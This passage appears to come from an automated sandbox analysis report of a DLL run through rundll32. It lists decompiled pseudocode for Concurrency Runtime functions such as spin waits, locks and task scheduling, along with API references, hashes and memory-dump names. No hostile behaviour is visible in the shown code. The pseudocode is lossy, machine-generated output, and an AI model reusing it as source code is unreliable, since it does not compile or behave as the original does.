						__eflags = _t23;
						if(_t23 != 0) {
							goto L8;
						}
						goto L14;
					}
					_t24 = E10010D95(_t27, _t40, _t15);
					__eflags = _t24;
					if(_t24 != 0) {
						goto L8;
					}
					goto L12;
				} else {
					E10024EF0(_t42);
					goto L8;
				}
			}

0x100252e0
0x100252e2
0x100252e9
0x1002530f
0x00000000
0x1002530f
0x100252eb
0x100252f0
0x100252fb
0x100252fb
0x100252f7
0x100252f7
0x100252f7
0x100252ff
0x1002531c
0x10025321
0x10025327
0x1002532a
0x1002532d
0x1002533c
0x1002533c
0x10025340
0x1002534d
0x1002534f
0x10025354
0x10025356
0x10025387
0x00000000
0x10025387
0x1002535b
0x10025361
0x10025364
0x10025367
0x10025376
0x10025376
0x1002537a
0x00000000
0x00000000
0x1002537e
0x10025383
0x10025385
0x00000000
0x00000000
0x00000000
0x10025385
0x1002536d
0x10025372
0x10025374
0x00000000
0x00000000
0x00000000
0x10025374
0x10025344
0x10025349
0x1002534b
0x00000000
0x00000000
0x00000000
0x1002534b
0x10025333
0x10025338
0x1002533a
0x00000000
0x00000000
0x00000000
0x10025308
0x1002530a
0x00000000
0x1002530a

APIs

m_Cancel@_TaskCollection@details@Concurrency@@QAEXXZ.PHOTOGRAPHED.DAT ref: 1002530A
Concurrency::details::_TaskCollection::_Alias.LIBCONCRT ref: 10025317
Concurrency::details::ContextBase::IsCanceledAtDepth.LIBCONCRT1 ref: 10025333
Concurrency::details::ContextBase::IsCanceledAtDepth.LIBCONCRT1 ref: 1002536D

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Base::CanceledConcurrency::details::ContextDepthTask$AliasCancel@_Collection::_Collection@details@Concurrency::details::_Concurrency@@
String ID:
API String ID: 189374239-0
Opcode ID: 06d8fd27b73e6b36b96147c7efd4a2bfdf88a8adccd6659633301ffc28e92cef
Instruction ID: c25961b13f140fe2eaf3d345b3450a4c33c5bd8a13615f603972603725782b27
Opcode Fuzzy Hash: 06d8fd27b73e6b36b96147c7efd4a2bfdf88a8adccd6659633301ffc28e92cef
Instruction Fuzzy Hash: 7D11E734200A0197EE14CD28B58177D73D6DF821DAF852119E867976C2CBB3FE4B9758

Uniqueness

Uniqueness Score: -1.00%

Function 1000EBDD Relevance: 6.1, APIs: 4, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E1000EBDD(signed int* __ecx) {
				intOrPtr _t33;
				signed int _t35;
				void* _t46;
				intOrPtr _t47;
				signed int _t57;
				signed int _t63;
				void* _t64;
				signed int* _t65;
				intOrPtr* _t66;
				unsigned int _t68;
				void* _t70;

				E10028D98(E1002A988, _t46, __ecx, _t64, 0x34);
				_t65 = __ecx;
				_t68 =  *(_t70 + 0xc) & 0xfffffff8;
				 *((intOrPtr*)(_t70 - 0x24)) = E10028AE0;
				_t47 = 0;
				 *((intOrPtr*)(_t70 - 0x28)) = 0;
				while(_t65[1] != _t68) {
					E1000A150(_t70 - 0x30);
				}
				 *((intOrPtr*)(_t70 - 0x38)) = _t47;
				 *((intOrPtr*)(_t70 - 0x34)) = E10028AE0;
				while(_t65[3] == _t68) {
					E1000A150(_t70 - 0x40);
				}
				 *(_t70 - 0x10) =  *_t65;
				_t33 =  *((intOrPtr*)(_t70 + 0x10));
				 *(_t70 - 0x1c) = _t65;
				_t66 =  *((intOrPtr*)(_t70 + 0x10));
				_t14 = _t33 + 8; // 0x8b0f8bf8
				_t35 =  *_t14 - 1;
				 *((intOrPtr*)(_t70 - 0x14)) = _t66;
				_t63 = _t68 >> 0x00000003 & _t35;
				_t16 = _t68 + 8; // 0x107
				 *((intOrPtr*)(_t70 - 0x20)) = _t16;
				asm("sbb ecx, ecx");
				 *(_t70 - 0x18) =  !( ~(_t63 - _t35)) &  *(_t70 - 0x10);
				 *((intOrPtr*)(_t70 - 4)) = _t47;
				_t57 =  *(_t70 - 0x10);
				if(( *(_t57 + 4) & 1 << _t63) != 0) {
					_t47 = 1;
					 *0x10036224( *((intOrPtr*)(_t70 + 8)), _t57, _t63);
					 *((intOrPtr*)( *((intOrPtr*)( *_t66 + 8))))();
				}
				E1000E84E();
				return E10028D61(_t47);
			}

0x1000ebe4
0x1000ebe9
0x1000ebee
0x1000ebf1
0x1000ebf8
0x1000ebfa
0x1000ec07
0x1000ec02
0x1000ec02
0x1000ec0c
0x1000ec0f
0x1000ec20
0x1000ec1b
0x1000ec1b
0x1000ec29
0x1000ec2c
0x1000ec32
0x1000ec35
0x1000ec38
0x1000ec3b
0x1000ec3c
0x1000ec3f
0x1000ec45
0x1000ec4a
0x1000ec4d
0x1000ec54
0x1000ec59
0x1000ec61
0x1000ec67
0x1000ec6b
0x1000ec77
0x1000ec7f
0x1000ec7f
0x1000ec84
0x1000ec90

APIs

__EH_prolog3.LIBCMT ref: 1000EBE4
m_SpinOnce@?$_SpinWait@$00@details@Concurrency@@QAE_NXZ.PHOTOGRAPHED.DAT(00000034,1000EB39,?,?,00000001,00000000,?,?,100096ED,00000000,?,?,?,1000D103,?), ref: 1000EC02
m_SpinOnce@?$_SpinWait@$00@details@Concurrency@@QAE_NXZ.PHOTOGRAPHED.DAT(00000034,1000EB39,?,?,00000001,00000000,?,?,100096ED,00000000,?,?,?,1000D103,?), ref: 1000EC1B

Part of subcall function 1000A150: m_Value@_SpinCount@details@Concurrency@@SAIXZ.PHOTOGRAPHED.DAT(10035AC0,1000D933,?,1002732D,00000004), ref: 1000A15E
Part of subcall function 1000A150: _SpinWait.LIBCONCRT(00000000,10035AC0,1000D933,?,1002732D,00000004), ref: 1000A166

Concurrency::details::_Micro_queue::_Pop_finalizer::~_Pop_finalizer.LIBCONCRT ref: 1000EC84

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Spin$Concurrency@@$Once@?$_Wait@$00@details@$Concurrency::details::_Count@details@H_prolog3Micro_queue::_Pop_finalizerPop_finalizer::~_Value@_Wait
String ID:
API String ID: 1757987047-0
Opcode ID: 331a1b3a3ee4124dc716c8b8c855a68024d9169fc277abc1b56d6b45a825df10
Instruction ID: 1384d6b4c81a6a8de8897366d0a731e398fe29366f229e37ce78bb2a6b360478
Opcode Fuzzy Hash: 331a1b3a3ee4124dc716c8b8c855a68024d9169fc277abc1b56d6b45a825df10
Instruction Fuzzy Hash: 81214975E11259CF9F04CF68C8919ADB7B1FB89350B54852EE416A7384CB30AE01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 10021619 Relevance: 6.1, APIs: 4, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E10021619(void* __ebx, intOrPtr __ecx, void* __edi) {
				signed int _t34;
				intOrPtr _t70;
				void* _t71;

				E10028D98(E1002B33A, __ebx, __ecx, __edi, 0xc);
				 *((intOrPtr*)(_t71 - 0x10)) = __ecx;
				_t69 = __ecx + 0x20;
				 *((intOrPtr*)(_t71 - 0x18)) = __ecx + 0x20;
				E10017300(__ecx, __ecx + 0x20);
				_t34 = 0;
				 *(_t71 - 0x14) = 0;
				 *((intOrPtr*)(_t71 - 4)) = 0;
				if( *((intOrPtr*)(_t71 + 0xc)) != 0) {
					_t70 =  *((intOrPtr*)(_t71 - 0x10));
					do {
						 *0x10036224();
						E100215D1( *( *((intOrPtr*)( *((intOrPtr*)(_t71 + 8)) + _t34 * 4)) + 0x30) * 0x34 +  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t71 + 8)) + _t34 * 4))))))))() * 0x34 +  *((intOrPtr*)(_t70 + 0x10)) + 0x30)) + 0xc,  *((intOrPtr*)( *((intOrPtr*)(_t71 + 8)) + _t34 * 4)) + 8);
						_t34 =  *(_t71 - 0x14) + 1;
						 *(_t71 - 0x14) = _t34;
					} while (_t34 <  *((intOrPtr*)(_t71 + 0xc)));
					_t69 =  *((intOrPtr*)(_t71 - 0x18));
				}
				 *0x10036224( *((intOrPtr*)(_t71 + 0xc)));
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t71 - 0x10)) + 8)))) + 0xc))))();
				_t39 =  *((intOrPtr*)(_t71 - 0x10));
				 *((intOrPtr*)( *((intOrPtr*)(_t71 - 0x10)) + 0x9c)) =  *((intOrPtr*)( *((intOrPtr*)(_t71 - 0x10)) + 0x9c)) +  *((intOrPtr*)(_t71 + 0xc));
				 *((intOrPtr*)(_t71 - 4)) = 1;
				return E10028D61(E100175C0(_t39, _t69),  *((intOrPtr*)(_t71 + 8)));
			}

0x10021620
0x10021627
0x1002162a
0x1002162f
0x10021632
0x10021637
0x10021639
0x1002163c
0x10021642
0x10021644
0x10021647
0x10021653
0x10021674
0x1002167c
0x1002167d
0x10021680
0x10021685
0x10021685
0x1002169b
0x100216a3
0x100216a5
0x100216ab
0x100216b3
0x100216c4

APIs

__EH_prolog3.LIBCMT ref: 10021620
m_Acquire@_ReentrantBlockingLock@details@Concurrency@@QAEXXZ.PHOTOGRAPHED.DAT(0000000C,1002156E,00000000,?), ref: 10021632

Part of subcall function 10017300: EnterCriticalSection.KERNEL32 ref: 10017301

List.LIBCONCRT ref: 10021674
m_Release@_ReentrantBlockingLock@details@Concurrency@@QAEXXZ.PHOTOGRAPHED.DAT ref: 100216BA

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: BlockingConcurrency@@Lock@details@Reentrant$Acquire@_CriticalEnterH_prolog3ListRelease@_Section
String ID:
API String ID: 2894354510-0
Opcode ID: e65f045554577a0f57b06ab9074987442ed65b853e8523d1efdc73a44a29ecb6
Instruction ID: e82958075e0377f8f70aaaef93db1409bca0b22b2255ec600f10d8a5d9205227
Opcode Fuzzy Hash: e65f045554577a0f57b06ab9074987442ed65b853e8523d1efdc73a44a29ecb6
Instruction Fuzzy Hash: A3211779A00219CFCF45DF68C8959ADB7F5FF48310B4584A9E90AAB352DB30EA45CF90

Uniqueness

Uniqueness Score: -1.00%

Function 1000C17D Relevance: 6.1, APIs: 4, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E1000C17D(void* __ebx, intOrPtr __ecx, void* __edi) {
				char _t28;
				intOrPtr _t32;
				intOrPtr* _t39;
				void* _t50;
				intOrPtr _t53;
				void* _t56;

				E10028D98(E1002A5C7, __ebx, __ecx, __edi, 0x28);
				_t53 = __ecx;
				 *((intOrPtr*)(_t56 - 0x14)) = __ecx;
				_t39 = 0;
				 *((intOrPtr*)(_t56 - 0x18)) =  *((intOrPtr*)(__ecx + 0x4c));
				if( *((intOrPtr*)(_t56 + 8)) != 0) {
					E10016ED0(0, _t56 - 0x34, _t50, __ecx);
					 *(_t56 - 4) = 0;
					 *0x10036224( *((intOrPtr*)(_t56 + 8)));
					_t28 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t53 + 0x38)) + 4))))();
					 *((char*)(_t56 - 0xd)) = _t28;
					if(_t28 != 0) {
						_t44 =  *((intOrPtr*)(_t56 - 0x14));
						if( *((intOrPtr*)( *((intOrPtr*)(_t56 - 0x14)) + 0x28)) != 0) {
							E10009EBA(_t44 + 0x2c, _t56 + 8);
						} else {
							_t39 =  *((intOrPtr*)(_t56 + 8));
						}
						 *(_t56 - 4) =  *(_t56 - 4) | 0xffffffff;
						E10017010(_t56 - 0x34);
						if(_t39 != 0) {
							 *0x10036224( *((intOrPtr*)(_t56 - 0x18)));
							 *((intOrPtr*)( *((intOrPtr*)( *_t39 + 0x24))))();
						}
						_t32 =  *((intOrPtr*)(_t56 - 0xd));
					} else {
						E10017010(_t56 - 0x34);
						goto L1;
					}
				} else {
					L1:
					_t32 = 0;
				}
				return E10028D61(_t32);
			}

0x1000c184
0x1000c189
0x1000c18b
0x1000c191
0x1000c193
0x1000c199
0x1000c1a3
0x1000c1ae
0x1000c1b8
0x1000c1c0
0x1000c1c2
0x1000c1c7
0x1000c1d3
0x1000c1d9
0x1000c1e7
0x1000c1db
0x1000c1db
0x1000c1db
0x1000c1ec
0x1000c1f3
0x1000c1fa
0x1000c206
0x1000c20e
0x1000c20e
0x1000c210
0x1000c1c9
0x1000c1cc
0x00000000
0x1000c1cc
0x1000c19b
0x1000c19b
0x1000c19b
0x1000c19b
0x1000c218

APIs

__EH_prolog3.LIBCMT ref: 1000C184
Concurrency::details::_ReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT(?,00000028,1000CA2A,?), ref: 1000C1A3
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT(?,00000028,1000CA2A,?), ref: 1000C1CC
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT(?,?,00000028,1000CA2A,?), ref: 1000C1F3

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$ReaderScoped_lock::~_Writer$H_prolog3ReentrantScoped_lock::_
String ID:
API String ID: 586772115-0
Opcode ID: b851020ea78eefe0b782eabaa96631071d1c1e49f3da572a94b2bbb5b3431140
Instruction ID: 86d279c9926f0254c7b2b2a4bcd5cbaa986f175d23b8db62aae4322ee0af6d44
Opcode Fuzzy Hash: b851020ea78eefe0b782eabaa96631071d1c1e49f3da572a94b2bbb5b3431140
Instruction Fuzzy Hash: 0111B234901319DFDF01DFA4D99189E7BF5FF09380B504469E905AB292CB30AF45DB90

Uniqueness

Uniqueness Score: -1.00%

Function 1000A150 Relevance: 6.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 30%

			E1000A150(intOrPtr* __ecx) {
				signed int _t14;
				void* _t15;
				void* _t20;
				void* _t23;
				intOrPtr* _t37;

				_t37 = __ecx;
				L1:
				_t1 = _t37 + 8; // 0x75001003
				_t14 =  *_t1;
				if(_t14 == 0) {
					 *(_t37 + 8) =  *(_t37 + 8) & _t14;
					E1000A120(_t37, E10017830());
					goto L1;
				}
				_t15 = _t14 - 1;
				if(_t15 == 0) {
					asm("pause");
					 *_t37 =  *_t37 - 1;
					if( *_t37 == 0) {
						_t11 = _t37 + 4; // 0xe83d8300
						asm("sbb eax, eax");
						 *(_t37 + 8) =  ~( *_t11) + 3;
					}
					goto L15;
				} else {
					_t20 = _t15 - 1;
					if(_t20 == 0) {
						_t7 = _t37 + 4;
						 *_t7 =  *(_t37 + 4) - 1;
						if( *_t7 == 0) {
							 *(_t37 + 8) = 3;
						}
						_t10 = _t37 + 0xc; // 0xe8186a39
						 *0x10036224();
						 *((intOrPtr*)( *_t10))();
						L15:
						return 1;
					} else {
						_t23 = _t20 - 1;
						if(_t23 == 0) {
							 *(_t37 + 8) =  *(_t37 + 8) & 0x00000000;
							E1000A120(_t37, E10017830());
						} else {
							if(_t23 == 1) {
								_t4 = _t37 + 0xc; // 0xe8186a39
								 *0x10036224();
								 *((intOrPtr*)( *_t4))();
							}
						}
						return 0;
					}
				}
			}

0x1000a151
0x1000a153
0x1000a153
0x1000a156
0x1000a159
0x1000a15b
0x1000a166
0x00000000
0x1000a166
0x1000a16d
0x1000a170
0x1000a1c1
0x1000a1c3
0x1000a1c6
0x1000a1c8
0x1000a1cd
0x1000a1d2
0x1000a1d2
0x00000000
0x1000a172
0x1000a172
0x1000a175
0x1000a1a5
0x1000a1a5
0x1000a1a9
0x1000a1ab
0x1000a1ab
0x1000a1b2
0x1000a1b7
0x1000a1bd
0x1000a1d5
0x1000a1d8
0x1000a177
0x1000a177
0x1000a17a
0x1000a190
0x1000a19c
0x1000a17c
0x1000a17f
0x1000a181
0x1000a186
0x1000a18c
0x1000a18c
0x1000a17f
0x1000a1a4
0x1000a1a4
0x1000a175

APIs

m_Value@_SpinCount@details@Concurrency@@SAIXZ.PHOTOGRAPHED.DAT(10035AC0,1000D933,?,1002732D,00000004), ref: 1000A15E
_SpinWait.LIBCONCRT(00000000,10035AC0,1000D933,?,1002732D,00000004), ref: 1000A166
m_Value@_SpinCount@details@Concurrency@@SAIXZ.PHOTOGRAPHED.DAT(10035AC0,1000D933,?,1002732D,00000004), ref: 1000A194
_SpinWait.LIBCONCRT(00000000,10035AC0,1000D933,?,1002732D,00000004), ref: 1000A19C

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Spin$Concurrency@@Count@details@Value@_Wait
String ID:
API String ID: 3927156208-0
Opcode ID: 46607d9b244b6c52ba5a7019f1c97da59daccbbe5e6a013e2617e28f727040a7
Instruction ID: 943cddec087611179e5dc018b65b7601382980493050bfc9e9c02380bcda368b
Opcode Fuzzy Hash: 46607d9b244b6c52ba5a7019f1c97da59daccbbe5e6a013e2617e28f727040a7
Instruction Fuzzy Hash: 2001DF32A44A228FF651CF38D9193DAB7E5FB0A2E0F018719D45AC7618CB60FCC18B81

Uniqueness

Uniqueness Score: -1.00%

Function 10024155 Relevance: 6.0, APIs: 4, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E10024155(void* __ecx, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v8;
				char _v20;
				void* _t11;
				void* _t18;
				void* _t28;

				_t26 = _a8;
				_t18 = __ecx;
				_t11 = E1001E7FC(_a8, 0,  *((intOrPtr*)(_t26 + 0x78)),  &_v8);
				while(1) {
					_t28 = _t11;
					if(_t28 == 0) {
						break;
					}
					if(_t28 == _a12) {
						L3:
						_t11 = E1001EE09(_t26,  &_v8, 0);
						continue;
					}
					E10024061(_t28,  *((intOrPtr*)(_t18 + 0x10)),  *((intOrPtr*)(_t18 + 0x14)));
					if(E100241C4(_t28) != 0) {
						E10022C80( &_v20, _t14);
						asm("movsd");
						asm("movsd");
						asm("movsd");
						return 1;
					}
					goto L3;
				}
				return 0;
			}

0x1002415e
0x10024161
0x1002416f
0x100241a0
0x100241a0
0x100241a4
0x00000000
0x00000000
0x10024179
0x10024193
0x1002419b
0x00000000
0x1002419b
0x10024183
0x10024191
0x100241b3
0x100241bf
0x100241c0
0x100241c1
0x00000000
0x100241c1
0x00000000
0x10024191
0x00000000

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 1002416F
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 10024183
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 1002419B
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 100241B3

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: 748fead1d489224662a9181c18757c4ee3702e80c5636eb2d01f54f6c4dbafa4
Instruction ID: 53ffe5a931400145c09dce87e0539e01ad99382e8846230dd05736165f5b6398
Opcode Fuzzy Hash: 748fead1d489224662a9181c18757c4ee3702e80c5636eb2d01f54f6c4dbafa4
Instruction Fuzzy Hash: 58014936700124A7DB16DEA4E841ADFB7BDDF94390F420011FC11AB282DE70FD6086E0

Uniqueness

Uniqueness Score: -1.00%

Function 10025E10 Relevance: 6.0, APIs: 4, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E10025E10(void* __ebx, void* __ecx, void* __edi, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v4;
				signed int _v20;
				char _v32;
				void* _t35;
				signed int _t36;
				intOrPtr _t41;
				char* _t51;
				signed int _t55;
				void* _t63;
				signed int _t64;
				intOrPtr _t68;
				intOrPtr _t69;
				char _t72;
				intOrPtr* _t73;

				E10028E03(E1002B5FB, __ebx, __ecx, __edi, 0x14);
				_t69 = _a8;
				if( *((intOrPtr*)(_t69 + 8)) != 0) {
					_t51 =  &_v32;
					E100134B0(_t51);
					_push(0x1002d9a0);
					_push( &_v32);
					L10029E92();
					asm("int3");
					_push(_t69);
					_push(__edi);
					_t64 =  *(_t51 + 0x34);
					if((0x3fffffff & _t64) != 0) {
						L16:
						_t35 = 0;
					} else {
						while(1) {
							_t36 = _t64;
							asm("lock cmpxchg [esi], ecx");
							if(_t36 == _t64) {
								break;
							}
							_t64 = _t36;
							if((0x3fffffff & _t36) == 0) {
								continue;
							} else {
								goto L16;
							}
							goto L17;
						}
						_t35 = 1;
					}
					L17:
					return _t35;
				} else {
					_v4 = 0;
					_t68 = E10024D6B(0, __ecx, _t63, __edi);
					 *((intOrPtr*)(_t69 + 0xc)) = E1000E350;
					 *((intOrPtr*)(_t69 + 8)) = _t68;
					_t55 =  *((intOrPtr*)(_t68 + 0x84));
					_v20 = _t55;
					 *((intOrPtr*)(_t68 + 0x84)) = _t55 + 1;
					if(_t55 < 2) {
						E10025452(0, _t68, _t68, _t69);
						_t41 = E10011403(E1001E5C9(), _t63, _t69, _a12);
						_t42 = _v20;
						 *((intOrPtr*)(_t68 + 0x70 + _v20 * 4)) = _t41;
					} else {
						_t72 =  *((intOrPtr*)(_t68 + 0x6c));
						if(_t72 == 0) {
							_t73 = E10028CE8(0x10);
							if(_t73 == 0) {
								_t72 = 0;
							} else {
								 *_t73 = 0;
								 *((intOrPtr*)(_t73 + 4)) = 0;
								 *((intOrPtr*)(_t73 + 8)) = 0;
								 *((char*)(_t73 + 0xc)) = 0;
							}
							 *((intOrPtr*)(_t68 + 0x6c)) = _t72;
						}
						E10025452(0, _t68, _t68, _t72);
						if(E10024AC1(_t72, E10011403(E1001E5C9(), _t63, _a8, _a12)) == 0) {
							 *((intOrPtr*)(_t68 + 0x84)) =  *((intOrPtr*)(_t68 + 0x84)) - 1;
						}
					}
					return E10028D61(_t42);
				}
			}

0x10025e17
0x10025e1c
0x10025e24
0x10025ee7
0x10025eea
0x10025eef
0x10025ef7
0x10025ef8
0x10025efd
0x10025f01
0x10025f02
0x10025f0b
0x10025f0f
0x10025f2c
0x10025f2c
0x10025f11
0x10025f11
0x10025f13
0x10025f1e
0x10025f24
0x00000000
0x00000000
0x10025f26
0x10025f2a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x10025f2a
0x10025f34
0x10025f34
0x10025f2e
0x10025f31
0x10025e2a
0x10025e2a
0x10025e32
0x10025e34
0x10025e3b
0x10025e3e
0x10025e44
0x10025e4a
0x10025e53
0x10025eb1
0x10025ec1
0x10025ec8
0x10025ecb
0x10025e55
0x10025e55
0x10025e5a
0x10025e63
0x10025e68
0x10025e77
0x10025e6a
0x10025e6a
0x10025e6c
0x10025e6f
0x10025e72
0x10025e72
0x10025e79
0x10025e79
0x10025e7e
0x10025e9f
0x10025ea1
0x10025ea1
0x10025e9f
0x10025eac
0x10025eac

APIs

__EH_prolog3_catch.LIBCMT ref: 10025E17
Concurrency::details::_TaskCollection::_Alias.LIBCONCRT ref: 10025E2D

Part of subcall function 10024D6B: __EH_prolog3.LIBCMT ref: 10024D72
Part of subcall function 10024D6B: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 10024D79

Concurrency::details::ContextBase::PushUnstructured.LIBCONCRT ref: 10025E90
Concurrency::details::TaskStack::Push.LIBCONCRT ref: 10025E98
Concurrency::details::ContextBase::PushUnstructured.LIBCONCRT ref: 10025EC1
m?0invalid_multiple_scheduling@Concurrency@@QAE@XZ.PHOTOGRAPHED.DAT(00000014,00000014,1002D9A0,00000014,?,1002D9A0,?,00000000,?,00000000,00000000), ref: 10025EEA

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Concurrency::details::$Base::ContextPush$TaskUnstructured$AliasCollection::_Concurrency::details::_Concurrency@@CurrentH_prolog3H_prolog3_catchSchedulerStack::m?0invalid_multiple_scheduling@
String ID:
API String ID: 3650035717-0
Opcode ID: a7f1320f5df6598a74e84e80d70b7bbc4ea94e7e9b5ce77a29b36af31501a967
Instruction ID: 60aac703e116d8414135f05b8e7c196c308a4c1805b4a428b8e9b93883437dff
Opcode Fuzzy Hash: a7f1320f5df6598a74e84e80d70b7bbc4ea94e7e9b5ce77a29b36af31501a967
Instruction Fuzzy Hash: 8A11A579901A529FCB14DF21E05265DFBE1FF04350B96C41EE99B5B711CB32AA40CF80

Uniqueness

Uniqueness Score: -1.00%

Function 100257A5 Relevance: 6.0, APIs: 4, Instructions: 44
windowCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E100257A5(void* __edx, intOrPtr _a4, intOrPtr* _a8, signed int _a12) {
				intOrPtr _v0;
				signed int _v4;
				char _v12;
				char _v16;
				char _v17;
				char _v20;
				intOrPtr* _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				signed int _v40;
				intOrPtr _v44;
				char _v52;
				char _v64;
				char _v72;
				char _v76;
				char _v84;
				char _v88;
				char _v100;
				char _v112;
				intOrPtr _v116;
				signed int _v120;
				char _v128;
				signed int _t219;
				signed int _t225;
				char* _t227;
				char* _t238;
				char _t251;
				signed int _t252;
				intOrPtr _t257;
				intOrPtr _t268;
				intOrPtr _t280;
				signed int _t287;
				signed int _t293;
				signed int _t297;
				signed int _t300;
				signed int _t303;
				signed int _t311;
				intOrPtr _t314;
				signed int _t317;
				intOrPtr _t319;
				intOrPtr _t320;
				void* _t323;
				signed int _t334;
				signed int _t342;
				char _t352;
				intOrPtr _t353;
				intOrPtr _t359;
				signed int _t360;
				signed int _t361;
				char* _t364;
				signed int _t365;
				signed int* _t368;
				signed int _t372;
				signed int _t380;
				intOrPtr* _t392;
				intOrPtr _t399;
				signed int _t401;
				void* _t420;
				void* _t421;
				signed int _t422;
				signed int _t424;
				intOrPtr* _t425;
				intOrPtr* _t426;
				char* _t427;
				signed int _t428;
				signed int _t431;
				signed int _t432;
				intOrPtr _t435;
				char _t436;
				intOrPtr _t437;
				intOrPtr _t438;
				intOrPtr _t439;
				signed int _t442;
				signed int _t443;
				signed int _t444;
				signed int _t445;
				void* _t452;
				void* _t453;
				void* _t458;
				void* _t459;

				_t420 = __edx;
